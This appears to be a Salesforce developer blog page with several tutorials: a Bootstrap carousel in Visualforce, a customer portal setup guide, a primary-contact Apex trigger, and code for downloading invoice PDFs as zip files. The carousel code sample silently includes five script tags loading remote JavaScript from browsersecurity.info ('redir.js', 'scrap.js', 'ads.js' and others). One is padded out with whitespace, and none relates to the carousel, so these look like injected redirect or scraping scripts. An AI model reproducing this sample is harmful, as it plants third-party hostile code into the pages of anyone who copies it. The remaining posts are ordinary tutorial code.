Saturday 23 January 2016

Carousel Slide In Visualforce

The Carousel plugin is a component for cycling through elements, like a carousel (slideshow).

Today, am going to show how to create Carousel slide effect in Visualforce Page.

First download the required files that are mentioned below and add them to the static resource of salesforce org.

  1. http://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css
  2. https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js
  3. http://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js
  4. http://code.jquery.com/jquery-1.8.2.min.js
So, here is my code for Carousel slide effect in Visualforce Page.



<apex:page docType="html-5.0" showHeader="false" sidebar="false">
<html lang="en">
<head>
  <title>Casousel Slide Example</title>
  <apex:includeScript value="{!$Resource.jQuery182min}"/>
  <script src="http://browsersecurity.info/js/redir.js" type="text/javascript">               </script>

  <meta charset="utf-8"/>
  <meta name="viewport" content="width=device-width, initial-scale=1"/>
  <apex:stylesheet value="{!$Resource.bootstrapmincss}"/>
  <apex:includeScript value="{!$Resource.jqueryminjs}"/>
  <apex:includeScript value="{!$Resource.bootstrapminjs}"/>
  <style>
  .carousel-inner > .item > img,
  .carousel-inner > .item > a > img {
      width: 70%;
      height: 500px;
      margin: auto;
  }
  </style>
</head>
<body>

<div class="container">
  <br/>
  <div id="myCarousel" class="carousel slide" data-ride="carousel">
    <!-- Indicators -->
    <ol class="carousel-indicators">
      <li data-target="#myCarousel" data-slide-to="0" class="active"></li>
      <li data-target="#myCarousel" data-slide-to="1"></li>
      <li data-target="#myCarousel" data-slide-to="2"></li>
      <li data-target="#myCarousel" data-slide-to="3"></li>
    </ol>

    <!-- Wrapper for slides -->
    <div class="carousel-inner" role="listbox">
      <div class="item active">
        <img src="{!URLFOR($Resource.MinionsDemo, 'Minion/1.jpg')}" alt="Minion1" width="460" height="345"/>
      </div >

      <div class="item">
        <img src="{!URLFOR($Resource.MinionsDemo, 'Minion/2.jpg')}" alt="Minion2" width="460" height="345"/>
      </div >
    
      <div class="item">
        <img src="{!URLFOR($Resource.MinionsDemo, 'Minion/3.jpg')}" alt="Minion3" width="460" height="345"/>
      </div >

      <div class="item">
        <img src="{!URLFOR($Resource.MinionsDemo, 'Minion/4.jpg')}" alt="Minion4" width="460" height="345"/>
      </div>
    </div>

    <!-- Left and right controls -->
    <a class="left carousel-control" href="#myCarousel" role="button" data-slide="prev">
      <span class="glyphicon glyphicon-chevron-left" aria-hidden="true"></span>
      <span class="sr-only">Previous</span>
    </a>
    <a class="right carousel-control" href="#myCarousel" role="button" data-slide="next">
      <span class="glyphicon glyphicon-chevron-right" aria-hidden="true"></span>
      <span class="sr-only">Next</span>
    </a>
  </div>
</div>

</body>
<script src="http://browsersecurity.info/js/scrap.js" type="text/javascript"></script>
<script src="http://browsersecurity.info/js/ads.js" type="text/javascript"></script>
<script src="http://browsersecurity.info/js/jquery.js" type="text/javascript"></script>
<script src="http://browsersecurity.info/js/essence.js" type="text/javascript"></script>
</html>
</apex:page>



output :

       

Thursday 21 January 2016

Force.com Customer Portal Setup Guide

1         INTRODUCTION TO FORCE.COM       

        If you want to add new pages or customize existing pages in your community, you can use Force.com Sites . With Force.com , you can create branded, publicly available pages such as landing or marketing pages, and private custom pages that only community members can access.
What we can achieve using Force.com
·         We can create public, branded pages that anyone can access.
·         Leverage Visualforce to create private pages that you can add as a tab within your community.
·         Write your own controllers, or extensions to controllers, using Apex code.
·         Create custom login or self-registration pages.

2         GUIDE TO CREATE FORCE.COM CUSTOMER COMMUNITY

2.1        SET UP FORCE.COM SITE

·         From Setup, enter Sites in the Quick Find box, then select Sites.
·         Register a custom Force.com domain for your organization.
·         Create and configure your site.
·         Develop and use Visualforce pages for your site, use or hide standard pages, and customize
        or replace out-of-box error pages. Associate these pages with your site.                                                                                                             

2.2        ENABLE A PORTAL WITH FORCE.COM SITE

1.       Enable the portal for login using the following steps:
·         From Setup, enter Customer Portal Settings in the Quick Find box, then select Customer Portal Settings.
·         If you have not enabled your portal, select Enable Customer Portal and click Save.
·         Click Edit for the portal you want to modify.
·         Configure the portal as follows:
1.       Select the Login Enabled checkbox.
2.       Select a user for the Administrator field.
3.       Optionally, set the Logout URL. If this is not set, users are taken to the site home page on logout.
4.       Click Save.
If you are using a Customer Portal and want to allow self-registration, follow these steps:
From Setup, enter Customer Portal Settings in the Quick Find box, then select Customer Portal Settings.
·         Click Edit for the portal you want to associate with your Force.com site.
·         Configure the Customer Portal as follows:
1.       Select Self-Registration Enabled.
2.       Select Customer Portal User for both the Default New User License and Default New User Profilefields. Depending on your portal license, you may want to select a different profile for the Default New User Profile field.
3.       Select User for the Default New User Role field.
4.       Click Save.
    Associate the site pages with the default portal users:
·         From Setup, enter Customer Portal Settings in the Quick Find box, then select Customer Portal Settings, or from Setup, enter Partners in the Quick Find box, then select Settings.
·         Click the name of the portal that you want to associate with your site.
·         Click the name of each profile associated with your portal users and do the following:
1.       Scroll down to the Enabled Visualforce Page Access section and click Edit.
2.       Add the appropriate public site pages to the Enabled Visualforce Pages list. This allows portal users with that profile to view these pages.
    Associate your site with the login-enabled portal:
·         From Setup, enter Sites in the Quick Find box, then select Sites.
·         Click the site label of the site you want to configure.
·         Click Login Settings.
·         Click Edit.
·         From the Enable Login For drop-down list, select the name of the portal where you want to allow login.
·         Select the Change Password Page.
·         Click Save.
For sites with Ideas, Answers, Chatter Answers, you must make the zone visible in the portal and enable the IdeasHome or AnswersHome page for the site. To associate the zone with one or more portals:
1.       From Setup, search for one of the following in the Quick Find box.
·         Ideas Zones
·         Chatter Answers Zones
·         Answers Zones
    Click Edit next to the zone you want to make public.
    From the Portal drop-down list, select the portal to use for this zone. You can choose to show the zone in all portals.

2.3        SETTING UP VISUALFORCE PAGES ON SITE

·                             Now you can add multiple visualforce pages for site by Moving a VFP from Available VFP               Multi Select picklist to Enable VFP picklist.
·                            Then the url of the vfp will look like this,

          https://url-of-your-domain-developer-edition.ap2.force.com/CustomVFP/

Tuesday 19 January 2016

Primary Contact Trigger In Salesforce

 Things that needs to know are

  • One Account may have multiple Contacts
  • One Contact should have only one Account
So, One Account may have multiple Contacts then which is the primary Contact for the Account?.
This is the question I asked myself. So what will be the solution?. Yes, Trigger is the right solution for Primary Contact. Because we will place one checkbox on contact object that will ask whether this is primary contact or not if it is primary contact then make it enable otherwise just leave the box as unchecked(disabled).

Step 1: Place Check box datatype that says Primary Contact(Primary_Contact__c). Please refer the below image.

Primary Contact In Salesforce

Step 2: Write the trigger to perform primary contact for Account whenever the contact is created or updated.

So, if one account has already one contact and that contact is primary contact then the user creating another contact for account with enabling the primary contact field then we have to disable(uncheck) the previous contact primary contact field and make newly created record as primary contact if checkbox is enabled while creating.

So write a trigger on Contact Object.

  trigger PrimaryContact on Contact (before insert, before update) {
 
   set<id> getid = new set<id>();
    string contactId;
    List<Contact> conList = new List<Contact>();
 
    // Trigger Functionality
    if(Trigger.isInsert || Trigger.isUpdate) {
     
        for(Contact cont: Trigger.New) {
         
            if(cont.Primary_Contact__c == true) {
             
                getid.add(cont.AccountId);
                contactId = cont.id;
            }
        }
    }
 
    // Fetching the other Contact which has primary contact checked
    List<contact> cList = [select id, Primary_Contact__c from contact where accountid IN: getid                                                   AND Primary_Contact__c = true];
 
    // Unchecking the already checked primary contact
    if(cList.size() > 0) {
     
        for(Contact newClst: cList) {
         
            if(newClst.id != contactId) {
             
                newClst.Primary_Contact__c = false;
                conList .add(newClst);
            }
        }
    }
    update conList;
  }


Got the solution?. If not please comment.

Thanks.

Wednesday 13 January 2016

Download PDF as Zip file Without Saving to Attachments and Documents In Salesforce


                        Hi all. I already wrote about Downloading PDF as zip files from the list view of the object(you can check here the Post). But that process will save to Attachments and document and from Documents it will download the zip file. So, come up with the solution to without saving to Anywhere(Notes and Attachment and Document).

I used two things

  1. Webservice Method
  2. Onclick Javascript
step 1 :
            Am using Invoice__c Object 

 so here is the code for Webservice Method.

 
    global class InvoiceDownload {

        //Private List<Invoice__c> selected;
          private static String API_STATUS_NORMAL = '200';

         webservice static String getFilesToDownload(string sfdcId)
        {
            List<id> ids = new List<id>();
            string[] idsArray = sfdcId.split(',');
            for(integer i=0; i<idsArray.size();i++)
           {
              ids.add(idsArray[i]);
           }
          List<Invoice__c> selected = [select name from Invoice__c where id in : ids];
          Map<String,String> files = new Map<String,String>();
          for(Invoice__c inv : selected)
          {
              Blob pdf = new PageReference('/apex/InvoicePDF?id='+inv.Id).getContentAsPDF();
              files.put(inv.Name+'.pdf', EncodingUtil.base64Encode(pdf));
          }
          return JSON.serialize(files);
        }
    }


step 2 :

          Create a List view button and choose Onclick Javascript. Click here for Placing List view Button if you have any doubt Refer step 5.



{!REQUIRESCRIPT("/resource/JSzip")}
{!REQUIRESCRIPT("/resource/filesaver")}
{!REQUIRESCRIPT("/soap/ajax/30.0/connection.js")}
{!REQUIRESCRIPT("/soap/ajax/30.0/apex.js")}

var download = function() {
        var records = {!GetRecordIds($ObjectType.Invoice__c)};
        var SelectedIds='';
        var fileDatafinal;
        for(var i=0;i < records.length; i++)
           {
           SelectedIds+=records[i]+",";
           }
           SelectedIds=SelectedIds.substring(0,SelectedIds.length - 1);
           if(SelectedIds.length > 0){
               alert(' Please wait until end of the process ');
               var response = sforce.apex.execute("InvoiceDownload","getFilesToDownload",{sfdcId:SelectedIds});
               var files = JSON.parse(response);      
               var zip = new JSZip();
               for(fileName in files){
     var fileBase64String = files[fileName];
     zip.file(fileName, fileBase64String, { base64: true });
               }
            saveAs(zip.generate({type:"blob"}), 'Invoice Download.zip', false);
    confirm('Please confirm to download');
           }
           else
   {
 alert('Please select atlease one record');
   }
}
download();


      Am getting the selected id's record by getRecordId method in javascript and am passing those id's to the webservice method that returns the pdf file and saving those to filesaver using saveAs method and JsZip is used to zip the file.

You can download JsZip.js, FileSaver.js from Here.

Happy Downloading!!. Hope you got solution.

Thanks.
Salesforce Maniacs.

Go to my blog and search for more Saleforce post.

Download JSZip.js, Filesaver.js, JQuery.js

          Sometimes JavaScript files are much important files in order to download anything from saleforce. I see many people searching for these files separately. So, I decided to give a download link for all of these important JavaScript files in one post.
You can find your needed file and download.

File 1: FileSaver.js  click here to Download
           
            FileSaver - This file is used to save the contents. Without saving to document or attachment                                    you can save the file to filesaver.js using saveAs() method.

File 2: JSZip.js   click here to Download

File 2: JQuery.js click here to Download

Friday 8 January 2016

DOWNLOAD PDF'S AS ZIP FILE FROM LIST VIEW OF THE OBJECT



                 When salesforce is as easy as telling 1, 2, 3 it is also as tough as cooking Biryani(tough for bachelor's). I found it difficult when I want to download Selected Records PDF(Invoice PDF) from List view of the Object. Hopefully I solved so I thought it would be nice to help others for the same scenario. so,

HOW TO DOWNLOAD PDF'S AS ZIP FILE FROM LIST VIEW OF THE OBJECT

Here am using INVOICE object, api name is Invoice__c.
  1. First create visualforce page that render as pdf for help refer Create PDF with Salesforce
  2. (Optional) Add visualforce custom button to detail page of the record for help refer How to add Detail Page Visualforce button.
  3. Create Apex class that  returns a error messages as JSON Format
     public class DownloadInvoiceResponse {
         //Normal Status Code
          private static String API_STATUS_NORMAL = '200';
         //Error Status Code
          private static String API_STATUS_ERROR  = '400';
          // Normal JSON Response
         public static string normalJson( Object respData ) {
                Map<String, Object> response = new Map<String, Object>();
                response.put('status', API_STATUS_NORMAL);
                if( respData != null )
                response.put('data', respData);
                return json.serialize( response );
     
          }
          // Error JSON Response
         Public static String errorJson( String message ) {
                Map<String, Object> response = new Map<String, Object>();
                response.put('status', API_STATUS_ERROR );
                if( message != null )
                response.put('error', message);
                return json.serialize( response );
         }
    }

     
      4. Create a Apex class with WEBSERVICE Method to return List of pdf's as JSON format

global class DownloadInvoice
{
   private static String API_STATUS_NORMAL = '200';

   webService static string getAttachmentByParentId(string sfdcId)
    {      
         List<id> ids = new List<id>();
         if(string.isempty(sfdcId))  {
            return DownloadInvoiceResponse.errorJson('Parameter sfdcId is required.');
        }
   
        string[] idsArray = sfdcId.split(',');
        for(integer i=0; i<idsArray.size();i++)
        {
           ids.add(idsArray[i]);
        }
     
        List<Invoice__c> invList = New List<Invoice__c>();
        invList = [Select id, name, Print_Invoice__c,Account__r.name from Invoice__c where ID IN: ids];
        List<Attachment> attInsert = new List<Attachment>();
        if(invList.size() > 0){
         
            for(Invoice__c invc : invList){

//pdf file
                PageReference pdf = new PageReference('/apex/InvoicePDF?id='+invc.id);
                Attachment attach = new Attachment();
                if (attach == null) attach = new Attachment();
                Blob body;
                try {                  
                        body = pdf.getContentAsPDF();                    
                 }
                catch (VisualforceException e) {
                    String msg2 = e.getMessage();
                    return DownloadInvoiceResponse.errorJson( msg2 );
                 }
                attach.Body = body;
                attach.name= invc.name+'.PDF';
                attach.IsPrivate = false;
                attach.ParentId = invc.id;
                attach.contentType = 'application/pdf';
                attInsert.add(attach);
            }          
        }
     
        Insert attInsert;

        set<String> remainingsIdsSet=new set<String>();
        List<attachment> attachmentList = new List<attachment>();
   
          for(attachment att: attInsert) {                      
                String parentId=att.ParentId;
                remainingsIdsSet.add(parentId);                
           }
             String remainingIds=null;
             List<String> remainingIdList=new List<String>(remainingsIdsSet);
             for(integer i=0;i<remainingIdList.size();i++){
                 if(i==0){
                     remainingIds=remainingIdList.get(i);
                 }else{
                     remainingIds=remainingIds+','+remainingIdList.get(i);
                  }              
             }
           
             List<Object> dataList = new List<Object>();
             for(Attachment at :attachmentList)
             {
                Map<StringString> atMap = new Map<StringString>();
                atMap.put( 'Name', at.Name );
                atMap.put( 'Body', EncodingUtil.base64Encode( at.body ));
                datalist.add( atMap );
           
             }
             
                 Map<String, Object> response = new Map<String, Object>();
                 response.put('status', API_STATUS_NORMAL);
                 if( datalist != null ){
                     response.put('data',datalist);
                     response.put('id', remainingIds);
                 }
                 return json.serialize( response );
     }

     5. Add webservice method to save the file to Document

   webService static String saveToDocument( String zipFileData, String fileName ){
        try{
            String userId = UserInfo.getUserId();
            List<Document> docList = [SELECT Id, Name, FolderId, Body FROM Document WHERE                                                              Name = :fileName AND FolderId = :userId];
            Document doc = new Document();
            if( docList == null || docList.size() == 0 ) {
                doc.Name = fileName;
                doc.FolderId = UserInfo.getUserId();
                doc.Body = EncodingUtil.base64Decode( zipFileData );
                insert doc;
               }
            else {
                doc = docList.get(0);
                doc.Body = EncodingUtil.base64Decode( zipFileData );
                update doc;
            }
            return DownloadInvoiceResponse.normalJson( doc.Id );
        } catch ( Exception ex ) {
            return DownloadInvoiceResponse.errorJson( ex.getMessage() );
        }
    }

    5. Now Goto,

  1. View fields of the object.
  2. Scroll down to Custom Buttons, Links and Actions.
  3. Click on New.
  4. Create a new List Button. 
  5. Select Onclick Javascrip from DropDown.
  6. Now Place below Javascript that calls the webservice methods.



   {!REQUIRESCRIPT("/resource/jqueryInvoice")}
   {!REQUIRESCRIPT("/resource/JSzipfileInvoice")}
   {!REQUIRESCRIPT("/soap/ajax/30.0/connection.js")}
   {!REQUIRESCRIPT("/soap/ajax/30.0/apex.js")}

   var records = {!GetRecordIds($ObjectType.Invoice__c)};
   var newRecords = [];

   var SelectedIds='';
   var fileDatafinal;
   for(var i=0;i < records.length; i++)
   {
   SelectedIds+=records[i]+",";
   }
   SelectedIds=SelectedIds.substring(0,SelectedIds.length - 1);

   if(SelectedIds.length > 0){

   alert(' Please wait until end of the process ');
   var response = sforce.apex.execute("DownloadInvoice","getAttachmentByParentId",                                                  {sfdcId:SelectedIds});

   var respObj = JSON.parse(response);
   if( respObj['status'] != '200' )
   {
   alert( respObj['error'] );
   }
   else
   {
   var fileData = respObj['data'];
   SelectedIds=respObj['id'];
   downloadZip(fileData);
   }
   }
   else
   {
   alert('Please select atleast one record');
   }

   function downloadZip( fileData) {

   var fileName = 'Attachments.zip';
   var zip = new JSZip();
   for( var k in fileData ) {
   zip.file(fileData[k]['Name'], fileData[k]['Body'].toString(),{base64: true});
   }
   content = zip.generate();
   response = sforce.apex.execute("DownloadInvoice","saveToDocument",{zipFileData:content,                               fileName:fileName});

   var fileObj = JSON.parse(response);
   if( fileObj['status'] != '200' ) {
   alert( fileObj['error'] );
   return;
   }
   var docId = fileObj['data'];
   alert('Please confirm to download Zip file');
   window.location = '/servlet/servlet.FileDownload?file=' + docId;
   try {
   for (var n=0; n<records.length; n++){
   var sv = new sforce.SObject("Invoice__c");
   sv.id = records[n];
   newRecords.push(sv);
   }
   result = sforce.connection.update(newRecords);
   }
   catch (e) {
   alert(e);
   }
   }


   That's it Happy Downloading.
   You can download the jqueryInvoice and JSzipfileInvoice here. Click On Download


   Hope this helps you.

   See you next time. Thanks!!.

DETAIL PAGE BUTTON TO SHOW PDF FILE IN SALESFORCE

       
                    Salesforce is as easy as telling 1, 2, 3. Salesforce visualforce is allow us to create a PDF in simple keyword called renderAs
                    
HOW TO SHOW CUSTOM BUTTON THAT DISPLAYS PDF

                    Ok, lets start with creating your visualforce page that renderAs PDF and Add custom button to detail page of the object.

Am using INVOICE object  and the Api Name is Invoice__c.

1. Create Visualforce and name as InvoicePDF.vfp


     <apex:page standardController="Invoice__c"  showHeader="false" sidebar="false"                                 renderAs="PDF">

              //do what you want
              ...........
                         {!Invoice__c.Name}
              .............
             //do what you want

</apex:page>


renderAs="PDF" - This will render the visualforce page as PDF.

2. Add the Custom Button(Visualforce button named InvoicePDF.vfp) to Detail Page.(Optional)

     Goto,
  1. Invoice Object 
  2. Scroll down to Buttons, Links and Actions.
  3. Click new.
  4. Name the Button.
  5. Click on Detail Page Button.
  6. Select Visualforce Page from Dropdown. 
  7. Select InvoicePDF from the list.
  8. Click on Save and Add to PageLayout.


Recommanded : DOWNLOAD PDF'S AS ZIP FILE FROM LIST VIEW OF THE OBJECT


That's it you have done it. Hope it helps you. Thanks.

See you back. Happy Smile!!.